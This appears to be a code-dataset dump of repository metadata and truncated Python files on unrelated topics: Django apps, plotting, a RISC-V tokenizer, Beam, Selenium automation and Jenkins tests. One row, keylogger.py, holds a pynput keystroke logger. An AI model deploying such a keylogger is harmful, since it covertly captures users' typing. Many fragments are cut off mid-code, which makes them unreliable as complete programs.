] | 1 | 2020-10-22T13:29:51.000Z | 2020-10-22T13:29:51.000Z |
# +1
# +1
# This class is very simple because it does not actually generate features itself.
# Instead, it simply uses the features generated by the trigger model. Currently, to represent a pair of event mentions,
# it uses just the embeddings associated with the two anchors (with optional window size)
| 34.642857 | 120 | 0.730928 |
# +1
class EventPairFeature(object):
def __init__(self, features):
"""
:type features: list[str]
"""
self.feature_strings = features
self.c_trigger_window_vector1 = 'trigger_window_vector1'
self.c_trigger_window_vector2 = 'trigger_window_vector2'
self.trig... | 0 | 0 | 0 | 616 | 0 | 0 | 0 | 0 | 44 |
008078a3d75d997dfdd102ff5584f36475c9ffc5 | 2,839 | py | Python | account/views.py | algotr/qirat | 7a1e2117379075726b98657ffaf3e7c897fc3bdc | [
"MIT"
] | 3 | 2016-03-15T08:20:02.000Z | 2016-03-15T08:24:07.000Z | account/views.py | algotr/qirat | 7a1e2117379075726b98657ffaf3e7c897fc3bdc | [
"MIT"
] | null | null | null | account/views.py | algotr/qirat | 7a1e2117379075726b98657ffaf3e7c897fc3bdc | [
"MIT"
] | null | null | null | __author__ = 'ali-pc'
| 37.355263 | 116 | 0.611835 | __author__ = 'ali-pc'
from django.shortcuts import render, redirect
from django.contrib import auth
from django.contrib.auth.decorators import login_required
from django.contrib.auth.models import User
from .forms import LoginForm, RegisterForm, ProfileForm
def login(request):
if request.user.is_authe... | 193 | 838 | 0 | 0 | 0 | 1,531 | 0 | 126 | 217 |
20324accda9f67f2a3838e58a2c450189836ec48 | 521 | py | Python | ubirch-ethereum-service/checksum.py | ubirch/ubirch-ethereum-service | f94dad136f7b9c1dae920e6dced0056f7fb946dd | [
"Apache-2.0"
] | null | null | null | ubirch-ethereum-service/checksum.py | ubirch/ubirch-ethereum-service | f94dad136f7b9c1dae920e6dced0056f7fb946dd | [
"Apache-2.0"
] | null | null | null | ubirch-ethereum-service/checksum.py | ubirch/ubirch-ethereum-service | f94dad136f7b9c1dae920e6dced0056f7fb946dd | [
"Apache-2.0"
] | null | null | null |
print(checksum_encode(bytes.fromhex('2f6bc758319982417b01b6ff09a9860a79c14cbb'))) | 32.5625 | 81 | 0.633397 | from ethereum import utils
def checksum_encode(addr): # Takes a 20-byte binary address as input
o = ''
v = utils.big_endian_to_int(utils.sha3(addr.hex()))
for i, c in enumerate(addr.hex()):
if c in '0123456789':
o += c
else:
o += c.upper() if (v & (2**(255 - 4*i))) e... | 0 | 0 | 0 | 0 | 0 | 366 | 0 | 5 | 68 |
6072f0880cb9e99b0e8f423c4479a8f94d8b2984 | 8,446 | py | Python | cnn/plotBops.py | aqui-tna/darts-UNIQ | 293a27b104bc0f53c6093829d1184686b788fba9 | [
"Apache-2.0"
] | 6 | 2019-04-28T05:30:00.000Z | 2020-01-21T08:16:13.000Z | cnn/plotBops.py | aqui-tna/darts-UNIQ | 293a27b104bc0f53c6093829d1184686b788fba9 | [
"Apache-2.0"
] | null | null | null | cnn/plotBops.py | aqui-tna/darts-UNIQ | 293a27b104bc0f53c6093829d1184686b788fba9 | [
"Apache-2.0"
] | 5 | 2019-04-29T05:57:04.000Z | 2021-04-21T00:19:11.000Z |
bopsKey = 'bops'
baselineKey = 'Baseline'
folderName = 'FF-4'
plotPath = '/home/vista/Desktop/F-BANNAS_depracated/6.12/{}/plots.data'.format(folderName)
folderPath = '/home/vista/Desktop/F-BANNAS_depracated/6.12/{}'.format(folderName)
# plotFromFile(plotPath)
plotPartitionsFromFolder(folderPath, plotPath)
# ad... | 36.405172 | 130 | 0.609638 | from torch import load, save
from os.path import dirname, isfile
from os import listdir, remove
from ast import literal_eval
from cnn.statistics import Statistics
from cnn.trainRegime.regime import TrainRegime
bopsKey = 'bops'
baselineKey = 'Baseline'
def plotFromFile(plotPath):
baseFolder = dirname(plotPath) ... | 0 | 0 | 0 | 0 | 0 | 6,470 | 0 | 78 | 271 |
9ff569ef18610cfc2ee76023d859e441e66a6d46 | 5,875 | py | Python | tests/test_overlay.py | wagoodman/overlayUtils | f474ffb1393442c76a81e25c704fed91ab9721c3 | [
"MIT"
] | 1 | 2020-09-02T11:58:19.000Z | 2020-09-02T11:58:19.000Z | tests/test_overlay.py | wagoodman/overlayUtils | f474ffb1393442c76a81e25c704fed91ab9721c3 | [
"MIT"
] | null | null | null | tests/test_overlay.py | wagoodman/overlayUtils | f474ffb1393442c76a81e25c704fed91ab9721c3 | [
"MIT"
] | null | null | null | """
tests.test_overlay
~~~~~~~~~~~~~~~~~~
Test OverlayFS and OverlayFSManager
"""
| 30.921053 | 90 | 0.676085 | """
tests.test_overlay
~~~~~~~~~~~~~~~~~~
Test OverlayFS and OverlayFSManager
"""
import fudge
from nose.tools import raises
from testkit import ContextUser
from overlayUtils.overlay import *
from .utils import verify, reset
class GenericOverlaySetup(object):
def base_setup(self):
# Patch all of these ob... | 0 | 3,112 | 0 | 1,836 | 0 | 485 | 0 | 33 | 317 |
4b3819379e058195691e03b7930a947dae40f0d4 | 211 | py | Python | meiduo_mall/apps/carts/urls.py | joinik/meiduo_mall | 08da8e789941ee0bb4d9cd658c4faaa4f9f0f67a | [
"MIT"
] | null | null | null | meiduo_mall/apps/carts/urls.py | joinik/meiduo_mall | 08da8e789941ee0bb4d9cd658c4faaa4f9f0f67a | [
"MIT"
] | null | null | null | meiduo_mall/apps/carts/urls.py | joinik/meiduo_mall | 08da8e789941ee0bb4d9cd658c4faaa4f9f0f67a | [
"MIT"
] | null | null | null |
from django.urls import path
from apps.carts.views import CartsView, CartsSelectAllView
urlpatterns = [
path('carts/', CartsView.as_view()),
path('carts/selection/', CartsSelectAllView.as_view()),
] | 19.181818 | 59 | 0.729858 |
from django.urls import path
from apps.carts.views import CartsView, CartsSelectAllView
urlpatterns = [
path('carts/', CartsView.as_view()),
path('carts/selection/', CartsSelectAllView.as_view()),
] | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a1de753b82e4cbc0f0fe3b10424ab5d0902046d2 | 727 | py | Python | examples/Misc/cogs.py | sergioramalli/bioinformatics | d3428531819239ed5259421becb3f82971e22222 | [
"MIT"
] | null | null | null | examples/Misc/cogs.py | sergioramalli/bioinformatics | d3428531819239ed5259421becb3f82971e22222 | [
"MIT"
] | null | null | null | examples/Misc/cogs.py | sergioramalli/bioinformatics | d3428531819239ed5259421becb3f82971e22222 | [
"MIT"
] | null | null | null |
#Imports configurations and add these modules to python enviroment
from config import config, system_config, output_files
from cogs.cognitor import cogs
# Sets-up the class and creates a directory for all the temp files.
cogs = cogs(output_files['cogs'], output_files['cogs_csv']);
cogs.threads = config['threads'];... | 36.35 | 131 | 0.774415 | import os, sys, time, json, csv, hashlib
from pprint import pprint
#Imports configurations and add these modules to python enviroment
from config import config, system_config, output_files
from cogs.cognitor import cogs
# Sets-up the class and creates a directory for all the temp files.
cogs = cogs(output_files['c... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 23 | 44 |
195a3f8e217ef1763d92ac2383118f0343831667 | 328 | py | Python | src/tests/serverlessparser/example_python_files/advanced/example1.py | cdev-framework/cdev-sdk | 06cd7b40936ab063d1d8fd1a7d9f6882750e8a96 | [
"BSD-3-Clause-Clear"
] | 2 | 2022-02-28T02:51:59.000Z | 2022-03-24T15:23:18.000Z | src/tests/serverlessparser/example_python_files/advanced/example1.py | cdev-framework/cdev-sdk | 06cd7b40936ab063d1d8fd1a7d9f6882750e8a96 | [
"BSD-3-Clause-Clear"
] | null | null | null | src/tests/serverlessparser/example_python_files/advanced/example1.py | cdev-framework/cdev-sdk | 06cd7b40936ab063d1d8fd1a7d9f6882750e8a96 | [
"BSD-3-Clause-Clear"
] | null | null | null | import os
global x
h = os.path.join(".")
x = os.environ.get("lkwem")
x = "Hello"
y = x[0]
glob = 1
| 10.580645 | 29 | 0.542683 | import os, importlib
import sys as sss
global x
h = os.path.join(".")
x = os.environ.get("lkwem")
x = "Hello"
y = x[0]
glob = 1
def f1():
def u():
print("wowow")
return os.path.join(glob)
def t_function():
print(y)
t = "Hi"
assert f1() == 4
print(sss)
def b():
print(t_func... | 0 | 0 | 0 | 0 | 0 | 124 | 0 | 7 | 91 |
56ca28b9c4486590a9a5035a8abf2c2307a1df1f | 110 | py | Python | newbee/tests.py | showurl/newbee | 88be8ebc96c42ccb84ce7393fd2710027420f429 | [
"MIT"
] | 2 | 2020-09-10T15:57:19.000Z | 2021-02-14T21:57:11.000Z | newbee/tests.py | showurl/newbee | 88be8ebc96c42ccb84ce7393fd2710027420f429 | [
"MIT"
] | 1 | 2021-06-10T23:17:58.000Z | 2021-06-10T23:17:58.000Z | newbee/tests.py | showurl/newbee | 88be8ebc96c42ccb84ce7393fd2710027420f429 | [
"MIT"
] | 1 | 2022-01-16T03:48:37.000Z | 2022-01-16T03:48:37.000Z | dict_ = {"a": {"b": 1}}
return_data_form = dict_.get([k for k, v in dict_.items()][0])
print(return_data_form) | 36.666667 | 62 | 0.654545 | dict_ = {"a": {"b": 1}}
return_data_form = dict_.get([k for k, v in dict_.items()][0])
print(return_data_form) | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
e550edabf3d8fe5ea977cdef7a61503d05fb423c | 1,800 | py | Python | curami/integration/generate_curation_rules.py | EBIBioSamples/curami-v2 | 671ec5f1d48b866c6ccb24fcddfb80610c377e07 | [
"Apache-2.0"
] | null | null | null | curami/integration/generate_curation_rules.py | EBIBioSamples/curami-v2 | 671ec5f1d48b866c6ccb24fcddfb80610c377e07 | [
"Apache-2.0"
] | 2 | 2020-07-02T13:56:03.000Z | 2021-06-01T23:51:49.000Z | curami/integration/generate_curation_rules.py | EBIBioSamples/curami-v2 | 671ec5f1d48b866c6ccb24fcddfb80610c377e07 | [
"Apache-2.0"
] | null | null | null |
if __name__ == '__main__':
generate_file()
| 37.5 | 120 | 0.658889 | import pandas as pd
from _datetime import datetime
from curami.commons import file_utils, mongo_connector
def generate_file():
print('Generating curation rules csv file')
curation_rules = []
# Basic cleanup attributes
attribute_cleanup_df = pd.read_csv(file_utils.unique_attributes_file_final_diff, e... | 0 | 0 | 0 | 0 | 0 | 1,596 | 0 | 40 | 113 |
ab398d3c99de91e1bf07768554eedf0a949e4685 | 7,954 | py | Python | src/renderer.py | felixbmuller/nlp-commonsense | 7d23a1e5f2bf7b33548ea9f5e9b89628de6c866c | [
"MIT"
] | null | null | null | src/renderer.py | felixbmuller/nlp-commonsense | 7d23a1e5f2bf7b33548ea9f5e9b89628de6c866c | [
"MIT"
] | null | null | null | src/renderer.py | felixbmuller/nlp-commonsense | 7d23a1e5f2bf7b33548ea9f5e9b89628de6c866c | [
"MIT"
] | null | null | null | from typing import List, Tuple
from utils import ConceptNet, removeprefix
def render_path_verbose(path: List[int], graph: ConceptNet):
"""this function gives a verbose textual representation for the given path, including all edges between the given nodes, node and label indices and label weights.
Example
... | 38.425121 | 166 | 0.609882 | from typing import List, Tuple
from utils import ConceptNet, removeprefix
def render_path_verbose(path: List[int], graph: ConceptNet):
"""this function gives a verbose textual representation for the given path, including all edges between the given nodes, node and label indices and label weights.
Example
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
750122e8e7ac8fd8e8d3f1961d00efde1bd26f45 | 14,238 | py | Python | source/models/nbow.py | ucabops/robbie | f74aefbdb9069d62188d4bb820bf91fa50f73b8c | [
"OML"
] | null | null | null | source/models/nbow.py | ucabops/robbie | f74aefbdb9069d62188d4bb820bf91fa50f73b8c | [
"OML"
] | null | null | null | source/models/nbow.py | ucabops/robbie | f74aefbdb9069d62188d4bb820bf91fa50f73b8c | [
"OML"
] | null | null | null | import numpy as np
import pandas as pd
from tabulate import tabulate
def key_adder(w2v_model, wordpairs):
"""Account for as many cases of british vs. american spelling as possible
in W2V vocabulary
Args:
w2v_model : standard Word2Vec 'KeyedVectors' data structure
wordps : dictionary of str... | 36.229008 | 129 | 0.559418 | import numpy as np
import pandas as pd
from tabulate import tabulate
from .util import *
def key_adder(w2v_model, wordpairs):
"""Account for as many cases of british vs. american spelling as possible
in W2V vocabulary
Args:
w2v_model : standard Word2Vec 'KeyedVectors' data structure
wordps ... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -2 | 23 |
10cfbed8136ce7a1806c292980ca4f23a4239bb1 | 1,578 | py | Python | Think_Python_problems/chapter5/Koch_curve.py | DumiTech/Python-Projects | 8a6a507865999847e8ca4f1633dcc0b35673630c | [
"MIT"
] | null | null | null | Think_Python_problems/chapter5/Koch_curve.py | DumiTech/Python-Projects | 8a6a507865999847e8ca4f1633dcc0b35673630c | [
"MIT"
] | null | null | null | Think_Python_problems/chapter5/Koch_curve.py | DumiTech/Python-Projects | 8a6a507865999847e8ca4f1633dcc0b35673630c | [
"MIT"
] | null | null | null | """
The Koch curve is a fractal that looks something like Figure 5.2. To draw a Koch
curve with length x, all you have to do is:
1. Draw a Koch curve with length x/3.
2. Turn left 60 degrees.
3. Draw a Koch curve with length x/3.
4. Turn right 120 degrees.
5. Draw a Koch curve with length x/3.
6. Turn left 60 deg... | 25.451613 | 116 | 0.697085 | """
The Koch curve is a fractal that looks something like Figure 5.2. To draw a Koch
curve with length x, all you have to do is:
1. Draw a Koch curve with length x/3.
2. Turn left 60 degrees.
3. Draw a Koch curve with length x/3.
4. Turn right 120 degrees.
5. Draw a Koch curve with length x/3.
6. Turn left 60 deg... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 | 23 |
8054953f79102b920138637870a9bf658a7286bc | 4,069 | py | Python | xml2txt.py | BramVanroy/sv-order-2021 | 4a164d146bb02c0b45f5b9c405489c24825ce188 | [
"MIT"
] | null | null | null | xml2txt.py | BramVanroy/sv-order-2021 | 4a164d146bb02c0b45f5b9c405489c24825ce188 | [
"MIT"
] | null | null | null | xml2txt.py | BramVanroy/sv-order-2021 | 4a164d146bb02c0b45f5b9c405489c24825ce188 | [
"MIT"
] | null | null | null | """Get relevant data from TMX/XML and save as tab-separated file. Meant to be run on TMX files and extracting
linguistic features for both French (src) and Dutch (tgt). It was used to extract linguistic features from a
pre-parsed XML/TMX corpus.
"""
from os import PathLike
from pathlib import Path
from typing import U... | 47.313953 | 123 | 0.646105 | """Get relevant data from TMX/XML and save as tab-separated file. Meant to be run on TMX files and extracting
linguistic features for both French (src) and Dutch (tgt). It was used to extract linguistic features from a
pre-parsed XML/TMX corpus.
"""
from os import PathLike
from pathlib import Path
from typing import G... | 0 | 0 | 0 | 0 | 1,540 | 0 | 0 | 25 | 68 |
7098adfbbdd9edf8ed6e9bb7b0917f5ca795c066 | 1,496 | py | Python | setup.py | BiLiangDevelop/py-go-palette | f7ed548ca9b8d224a60ee1fed08702d981144cb4 | [
"MIT"
] | null | null | null | setup.py | BiLiangDevelop/py-go-palette | f7ed548ca9b8d224a60ee1fed08702d981144cb4 | [
"MIT"
] | null | null | null | setup.py | BiLiangDevelop/py-go-palette | f7ed548ca9b8d224a60ee1fed08702d981144cb4 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from setuptools import setup
# version info
NAME = "pypalette"
VERSION = "0.1.6"
DESC = "Extract prominent colors from images! Python wrapper for `https://github.com/dayvonjersen/vibrant`."
# requirements
install_requires = []
with open('requirements.txt', "r") as fp:
for line in fp:
... | 30.530612 | 108 | 0.61631 | # -*- coding: utf-8 -*-
from setuptools import setup
# version info
NAME = "pypalette"
VERSION = "0.1.6"
DESC = "Extract prominent colors from images! Python wrapper for `https://github.com/dayvonjersen/vibrant`."
# requirements
install_requires = []
with open('requirements.txt', "r") as fp:
for line in fp:
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
40be04fac4760a3886f301c4575bf2205b6aecca | 566 | py | Python | geni-lib/samples/vts-options.py | AERPAW-Platform-Control/gateway | a80a25bb54a7cede82673f2385bb73d5aaa4963a | [
"MIT"
] | null | null | null | geni-lib/samples/vts-options.py | AERPAW-Platform-Control/gateway | a80a25bb54a7cede82673f2385bb73d5aaa4963a | [
"MIT"
] | null | null | null | geni-lib/samples/vts-options.py | AERPAW-Platform-Control/gateway | a80a25bb54a7cede82673f2385bb73d5aaa4963a | [
"MIT"
] | null | null | null | # Copyright (c) 2013 Barnstormer Softworks, Ltd.
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
import json
import geni.rspec.pgmanifest as PGM
m = PGM.Manifest("v... | 29.789474 | 71 | 0.683746 | # Copyright (c) 2013 Barnstormer Softworks, Ltd.
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
import json
import geni.rspec.pgmanifest as PGM
m = PGM.Manifest("v... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
302a3a65ac1ef62730f54a25df0e132b0766c8ce | 990 | py | Python | web/core/migrations/0099_sustainabilitydeclaration.py | MTES-MCT/biocarburants | ff084916e18cdbdc41400f36fa6cc76a5e05900e | [
"MIT"
] | 4 | 2020-03-22T18:13:12.000Z | 2021-01-25T10:33:31.000Z | web/core/migrations/0099_sustainabilitydeclaration.py | MTES-MCT/carbure | 2876756b760ab4866fa783bb40e61a046eebb1ab | [
"MIT"
] | 20 | 2020-07-06T14:33:14.000Z | 2022-03-15T16:54:17.000Z | web/core/migrations/0099_sustainabilitydeclaration.py | MTES-MCT/biocarburants | ff084916e18cdbdc41400f36fa6cc76a5e05900e | [
"MIT"
] | 4 | 2020-04-03T12:19:12.000Z | 2021-06-15T12:20:57.000Z | # Generated by Django 3.0.7 on 2021-01-18 13:40
| 33 | 114 | 0.574747 | # Generated by Django 3.0.7 on 2021-01-18 13:40
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('core', '0098_auto_20210118_1404'),
]
operations = [
migrations.CreateModel(
name='Sustainabilit... | 8 | 0 | 0 | 839 | 0 | 0 | 0 | 30 | 68 |
0231ae84b262b0e3c3c694a492fbc0d751a6d6fa | 1,018 | py | Python | Data_Conversion/Kfunc/IO/convert2vid.py | simay1224/K-project-UI | c69f83b6446052a1cd32a00700e7db197f36a1ed | [
"Apache-2.0"
] | null | null | null | Data_Conversion/Kfunc/IO/convert2vid.py | simay1224/K-project-UI | c69f83b6446052a1cd32a00700e7db197f36a1ed | [
"Apache-2.0"
] | 1 | 2018-06-19T22:21:43.000Z | 2018-06-19T22:21:43.000Z | Data_Conversion/Kfunc/IO/convert2vid.py | simay1224/K-project-UI | c69f83b6446052a1cd32a00700e7db197f36a1ed | [
"Apache-2.0"
] | 3 | 2018-08-29T18:39:57.000Z | 2020-06-05T15:29:07.000Z | # -*- coding: utf-8 -*-
"""
Created on Tue Nov 15 12:55:31 2016
@author: medialab
""" | 31.8125 | 143 | 0.547151 | # -*- coding: utf-8 -*-
"""
Created on Tue Nov 15 12:55:31 2016
@author: medialab
"""
import cv
def convert2vid(bdjoints,fimgs,fps,Vtype=0):
# Vtype : 0 : color m, 1: depth ,2: body index
if Vtype == 0 :
fsize = (1920,1080)
extname = ''
elif Vtype == 1:
fsize = (512,424)
... | 0 | 0 | 0 | 0 | 0 | 899 | 0 | -12 | 45 |
b62254ed481528855528181d9a1fc186074ffb74 | 3,728 | py | Python | src/notedetector.py | yaatehr/ChordShed | 5b04fd086792898bf41dd9a88f4ab1b1656a3f9e | [
"MIT"
] | null | null | null | src/notedetector.py | yaatehr/ChordShed | 5b04fd086792898bf41dd9a88f4ab1b1656a3f9e | [
"MIT"
] | null | null | null | src/notedetector.py | yaatehr/ChordShed | 5b04fd086792898bf41dd9a88f4ab1b1656a3f9e | [
"MIT"
] | null | null | null | #from mido.ports import open_input
# import sys
# sys.path.append('..')
| 36.910891 | 98 | 0.566255 | import mido
#from mido.ports import open_input
from mido import Message, MidiFile, MidiTrack
import numpy as np
import time
from src.LRUDict import LRUDict
# import sys
# sys.path.append('..')
class NoteDetector(object):
clock = time.clock
noteTimeout = 300
noteCap = 10
def __init__(self, synth):
... | 0 | 0 | 0 | 3,512 | 0 | 0 | 0 | 11 | 133 |
cddeeaadf56daa2f35fb29b02178cc0e05b2eb16 | 2,438 | py | Python | automation.py | ArijitAcharjee411/Project-automation-selenium-python- | 217c53e28628559d3b8cc6c82874648036d4bd3a | [
"MIT"
] | null | null | null | automation.py | ArijitAcharjee411/Project-automation-selenium-python- | 217c53e28628559d3b8cc6c82874648036d4bd3a | [
"MIT"
] | null | null | null | automation.py | ArijitAcharjee411/Project-automation-selenium-python- | 217c53e28628559d3b8cc6c82874648036d4bd3a | [
"MIT"
] | null | null | null | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright 2021 arijit <arijit@linux-inspiron-5567>
#
# Distributed under terms of the MIT license.
from selenium import webdriver
import time
import subprocess
repo_name = input("[+] Provide the github repository name :")
descript = input("[+] Provi... | 46.884615 | 173 | 0.747744 | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2021 arijit <arijit@linux-inspiron-5567>
#
# Distributed under terms of the MIT license.
from selenium import webdriver
import time
import subprocess
repo_name = input("[+] Provide the github repository name :")
descript = input("[+] Prov... | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
58d697d4d95f148a3859c95c488e1ee9acdd2077 | 757 | py | Python | keylogger.py | yogesh7132/Keylogger | 47d00c8e4f619b2877c2f7a7c467bc3be16008a8 | [
"MIT"
] | 2 | 2020-06-16T02:52:14.000Z | 2020-06-16T03:00:49.000Z | keylogger.py | yogesh7132/Keylogger | 47d00c8e4f619b2877c2f7a7c467bc3be16008a8 | [
"MIT"
] | null | null | null | keylogger.py | yogesh7132/Keylogger | 47d00c8e4f619b2877c2f7a7c467bc3be16008a8 | [
"MIT"
] | null | null | null |
keyboardListener()
| 19.410256 | 52 | 0.562748 | from pynput.keyboard import Listener
def createLog(key_letter):
keydata=str(key_letter)
keydata=keydata.replace("'","")
if keydata == "Key.space":
keydata = keydata.replace("Key.space", " ")
if keydata == "Key.enter":
keydata = "\n"
if keydata == "Key.shift_r":
keydata =... | 0 | 0 | 0 | 0 | 0 | 653 | 0 | 15 | 68 |
6a877c7c41158eaae2f42d0fd7adbfb902b13adf | 1,844 | py | Python | src/qutescript/utils.py | hiway/python-qutescript | 5115bc85551e8d3472b308549cd7eed3cbf93e2f | [
"BSD-2-Clause"
] | 72 | 2017-06-16T21:16:29.000Z | 2022-03-11T01:16:50.000Z | src/qutescript/utils.py | hiway/python-qutescript | 5115bc85551e8d3472b308549cd7eed3cbf93e2f | [
"BSD-2-Clause"
] | 2 | 2018-08-28T00:12:21.000Z | 2021-03-03T20:31:26.000Z | src/qutescript/utils.py | hiway/python-qutescript | 5115bc85551e8d3472b308549cd7eed3cbf93e2f | [
"BSD-2-Clause"
] | 7 | 2018-04-17T22:58:33.000Z | 2021-03-05T13:22:57.000Z | #!/usr/bin/env python
# coding=utf-8
HTML_BODY = """\
<html>
<head>
<title>Qutescript: {prefix}</title>
</head>
<body>
<pre>{script_path}</pre>
{content}
</body>
"""
HTML_MESSAGE_TEMPLATE = """\
<pre>
{}
</pre>
"""
log_file_path = './qutescript.log'
def log_to_browser(*messages, prefix: str = None, console=True,... | 25.971831 | 104 | 0.646963 | #!/usr/bin/env python
# coding=utf-8
import os
import tempfile
HTML_BODY = """\
<html>
<head>
<title>Qutescript: {prefix}</title>
</head>
<body>
<pre>{script_path}</pre>
{content}
</body>
"""
HTML_MESSAGE_TEMPLATE = """\
<pre>
{}
</pre>
"""
log_file_path = './qutescript.log'
def write_log(message, file_path=None, ... | 0 | 0 | 0 | 0 | 0 | 952 | 0 | -18 | 113 |
18a83fb2a8637377992e6a739d67d1fdc65c3e0c | 573 | py | Python | chapter6/src/main/python/first_pipeline.py | neppel-backup/Building-Big-Data-Pipelines-with-Apache-Beam | 77c86f2f983ecf55ff128bb51507802f27671d81 | [
"ECL-2.0",
"Apache-2.0"
] | 21 | 2021-04-28T15:08:00.000Z | 2022-03-24T07:28:59.000Z | chapter6/src/main/python/first_pipeline.py | neppel-backup/Building-Big-Data-Pipelines-with-Apache-Beam | 77c86f2f983ecf55ff128bb51507802f27671d81 | [
"ECL-2.0",
"Apache-2.0"
] | 3 | 2022-01-25T17:13:47.000Z | 2022-03-14T07:19:15.000Z | chapter6/src/main/python/first_pipeline.py | neppel-backup/Building-Big-Data-Pipelines-with-Apache-Beam | 77c86f2f983ecf55ff128bb51507802f27671d81 | [
"ECL-2.0",
"Apache-2.0"
] | 23 | 2021-05-13T09:39:32.000Z | 2022-03-30T23:35:38.000Z | #!/usr/bin/env python3
import re
import sys
import apache_beam as beam
from apache_beam.options.pipeline_options import PipelineOptions
if len(sys.argv) < 2:
usage()
input_file = sys.argv[1]
with beam.Pipeline(options=PipelineOptions()) as p:
(p | beam.io.ReadFromText(input_file)
| "Tokenize" >> beam.FlatMa... | 26.045455 | 79 | 0.687609 | #!/usr/bin/env python3
import re
import sys
import apache_beam as beam
from apache_beam.options.pipeline_options import PipelineOptions
def usage():
sys.stderr.write("Usage: %s <input_file>\n" % (sys.argv[0], ))
sys.exit(1)
if len(sys.argv) < 2:
usage()
input_file = sys.argv[1]
with beam.Pipeline(options=Pip... | 0 | 0 | 0 | 0 | 0 | 70 | 0 | 0 | 23 |
1aaf226d1bbf9ecedc30fc51726524cc94eb4e83 | 17,131 | py | Python | LoadData.py | JVuns/Driver-Log-Recorder---Final-Project | efbb2f67aee2db98fc2310617e589e845fc6c27d | [
"MIT"
] | null | null | null | LoadData.py | JVuns/Driver-Log-Recorder---Final-Project | efbb2f67aee2db98fc2310617e589e845fc6c27d | [
"MIT"
] | null | null | null | LoadData.py | JVuns/Driver-Log-Recorder---Final-Project | efbb2f67aee2db98fc2310617e589e845fc6c27d | [
"MIT"
] | null | null | null | import tkinter as tk
import numpy as np
import datetime
import matplotlib.pyplot as plt
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg
import re
def clear_data(self):
''' Clearing data from treeview'''
self.display.delete(*self.display.get_children())
try:
self.bar1.get_tk_widget()... | 44.611979 | 147 | 0.625066 | import pandas as pd
from tkinter import *
import tkinter as tk
import numpy as np
from tkinter import messagebox
from tkinter import ttk
import datetime
from datetime import timedelta, date
import matplotlib.pyplot as plt
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg
import re
import ast
def filepath... | 0 | 0 | 0 | 0 | 0 | 9,328 | 0 | 13 | 271 |
74d8051f7f15857a2e975a74997a6669d1e0381d | 1,464 | py | Python | setup.py | itztli/django-type-of-works | 9a529193abaea878c5502f8a41729537e6d182a8 | [
"BSD-2-Clause"
] | null | null | null | setup.py | itztli/django-type-of-works | 9a529193abaea878c5502f8a41729537e6d182a8 | [
"BSD-2-Clause"
] | null | null | null | setup.py | itztli/django-type-of-works | 9a529193abaea878c5502f8a41729537e6d182a8 | [
"BSD-2-Clause"
] | null | null | null | from __future__ import with_statement
from setuptools import setup, find_packages
from django_type_of_works import __version__ as version#fix
install_requires = ["django >= 1.7, < 1.9",]
try:
setup(
name="django-type-of-works",
version=version,
author="Victor De la Luz",
author_... | 32.533333 | 75 | 0.560109 | from __future__ import with_statement
import os
from setuptools import setup, find_packages
from django_type_of_works import __version__ as version#fix
install_requires = ["django >= 1.7, < 1.9",]
try:
setup(
name="django-type-of-works",
version=version,
author="Victor De la Luz",
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -12 | 22 |
68be1acd7cf28b26b879fd19452ce4f493ca88dd | 9,488 | py | Python | riscemu/Tokenizer.py | jodalyst/riscemu | cede73c3c93c1d00168aa020dd9d982a213e3572 | [
"MIT"
] | 9 | 2021-07-08T11:22:55.000Z | 2022-01-30T10:32:48.000Z | riscemu/Tokenizer.py | jodalyst/riscemu | cede73c3c93c1d00168aa020dd9d982a213e3572 | [
"MIT"
] | 8 | 2021-12-03T18:16:19.000Z | 2022-03-31T20:49:09.000Z | riscemu/Tokenizer.py | jodalyst/riscemu | cede73c3c93c1d00168aa020dd9d982a213e3572 | [
"MIT"
] | 2 | 2022-01-16T05:50:04.000Z | 2022-03-23T21:27:27.000Z | """
RiscEmu (c) 2021 Anton Lydike
SPDX-License-Identifier: MIT
"""
import re
PSEUDO_OPS = [
'.asciiz',
'.double',
'.extern',
'.global',
'.align',
'.float',
'.kdata',
'.ktext',
'.space',
'.ascii',
'.byte',
'.data',
'.half',
'.text',
'.word',
'.set',
]
C... | 29.557632 | 118 | 0.572618 | """
RiscEmu (c) 2021 Anton Lydike
SPDX-License-Identifier: MIT
"""
import re
from enum import IntEnum
from typing import List
from .Exceptions import ParseException
PSEUDO_OPS = [
'.asciiz',
'.double',
'.extern',
'.global',
'.align',
'.float',
'.kdata',
'.ktext',
'.space',
'.... | 0 | 100 | 0 | 7,384 | 0 | 870 | 0 | 22 | 251 |
0621f699b3c5ffd8034797dc04889ab2aa72ee26 | 2,651 | py | Python | src/main/test_python/test-job-config.py | all4dich/jenkins-tools | deebbdb4b2dda04dfef522142d0f0387702eaaf7 | [
"MIT"
] | null | null | null | src/main/test_python/test-job-config.py | all4dich/jenkins-tools | deebbdb4b2dda04dfef522142d0f0387702eaaf7 | [
"MIT"
] | null | null | null | src/main/test_python/test-job-config.py | all4dich/jenkins-tools | deebbdb4b2dda04dfef522142d0f0387702eaaf7 | [
"MIT"
] | null | null | null | import logging
import xml.etree.ElementTree as ElementTree
logger = logging.getLogger()
# User pytest - https://docs.pytest.org/en/latest/
| 31.559524 | 78 | 0.650698 | import re
from jenkins_tools.common import Jenkins
import logging
from lxml import etree
import xml.etree.ElementTree as ElementTree
logger = logging.getLogger()
# User pytest - https://docs.pytest.org/en/latest/
def test_job_not_found():
